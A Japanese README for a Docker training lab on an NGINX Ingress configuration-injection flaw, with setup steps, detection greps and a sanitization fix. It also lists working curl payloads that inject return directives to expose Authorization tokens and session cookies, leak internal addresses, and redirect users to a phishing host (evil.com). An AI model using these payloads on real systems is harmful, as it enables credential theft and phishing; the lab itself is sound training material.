
Dockerベースの脆弱性ラボ。CVE-2026-3288 NGINX Ingress設定インジェクションを対象とし、エクスプロイトスクリプト、検知モニタリング、および許可されたセキュリティトレーニング向けの修復ガイダンスを備えています。
⚠️ 警告: このラボには意図的に脆弱な設定が含まれており、認可されたセキュリティトレーニング専用です。
CVE-2026-3288(CVSS 8.8 HIGH)- NGINX Ingress Controller における設定インジェクション
")インジェクションbuildProxyPass() 関数は、パス入力を nginx 設定に補間する前にサニタイズしないため、攻撃者が引用符で囲まれた文字列を脱出し、任意の nginx ディレクティブを注入することが可能です。
CVE-2026-3288-lab/
├── README.md # このファイル
├── docker-compose.yml # メインのラボ設定
├── docker/
│ ├── nginx/
│ │ ├── Dockerfile # 脆弱な NGINX 設定
│ │ ├── nginx.conf # 基本設定
│ │ └── vulnerable-config.conf # 脆弱なパス処理
│ └── backend/
│ ├── Dockerfile # シンプルなバックエンドアプリ
│ └── app.py # Flask アプリケーション
├── exploits/
│ ├── exploit.py # 自動化されたエクスプロイトスクリプト
│ ├── payloads.txt # エクスプロイトペイロードのコレクション
│ └── test-exploits.sh # すべてのエクスプロイトをテスト
├── detection/
│ └── monitor-logs.sh # エクスプロイト試行の監視
└── cleanup/
└── cleanup.sh # すべてのラボリソースを削除
cd CVE-2026-3288-lab
# 脆弱な環境を起動
docker-compose up -d
# ステータスを確認
docker-compose ps
# バックエンドの動作をテスト
curl http://localhost:8080/
# NGINX の動作をテスト
curl http://localhost/
cd exploits
# 自動化されたエクスプロイト
python3 exploit.py --all
# または個別のエクスプロイトをテスト
bash test-exploits.sh
# エクスプロイトの NGINX ログを監視
docker-compose logs -f nginx
# 検出の監視
cd detection
bash monitor-logs.sh
docker-compose down -v
nginx の return ディレクティブを注入して、攻撃者が制御するコンテンツを配信します。
ペイロード:
/api" return 200 "HACKED BY ATTACKER
テスト:
curl 'http://localhost/api" return 200 "HACKED'
Authorization ヘッダーをレスポンスに反映させて Bearer トークンを窃取します。
ペイロード:
/login" return 200 "Token: $http_authorization
テスト:
curl -H "Authorization: Bearer secret123" 'http://localhost/login" return 200 "Token: $http_authorization'
攻撃者が制御するフィッシングサイトへユーザーをリダイレクトします。
ペイロード:
/" return 302 "https://evil.com/phishing
テスト:
curl -I 'http://localhost/" return 302 "https://evil.com/phishing'
内部サーバー情報を漏洩させます。
ペイロード:
/" return 200 "Internal IP: $server_addr
テスト:
curl 'http://localhost/" return 200 "Internal IP: $server_addr'
セッション Cookie を窃取します。
ペイロード:
/" return 200 "Cookies: $http_cookie
テスト:
curl -H "Cookie: session=abc123" 'http://localhost/" return 200 "Cookies: $http_cookie'
# 脆弱な設定
location ~ "^/api" {
rewrite "(?i)/api" /backend break;
proxy_pass http://backend;
}
パスに " が含まれると、引用符で囲まれた文字列が壊れます:
# 攻撃者の入力: /api" return 200 "HACKED
# 結果:
location ~ "^/api" return 200 "HACKED" {
# 元の設定は壊れている
}
# 不審なパターンを監視
docker-compose logs nginx | grep -E '(return|rewrite|set).*"'
# 注入されたディレクティブの NGINX 設定を確認
docker exec cve-2026-3288-nginx cat /etc/nginx/nginx.conf | grep -A5 "location"
" と \ を適切にエスケープ// 修正前(脆弱)
path := location.Path
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)
// 修正後(修正済み)
path := sanitizeQuotedRegex(location.Path)
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)
このラボを完了すると、以下を理解できます:
# ログを確認
docker-compose logs
# 再起動
docker-compose restart
# docker-compose.yml でポートを変更
# または競合するサービスを停止
sudo lsof -i :80
# NGINX が実行されているか確認
docker-compose ps nginx
# NGINX 設定を確認
docker exec cve-2026-3288-nginx nginx -t
認可されたセキュリティトレーニングおよび研究目的のみで作成されています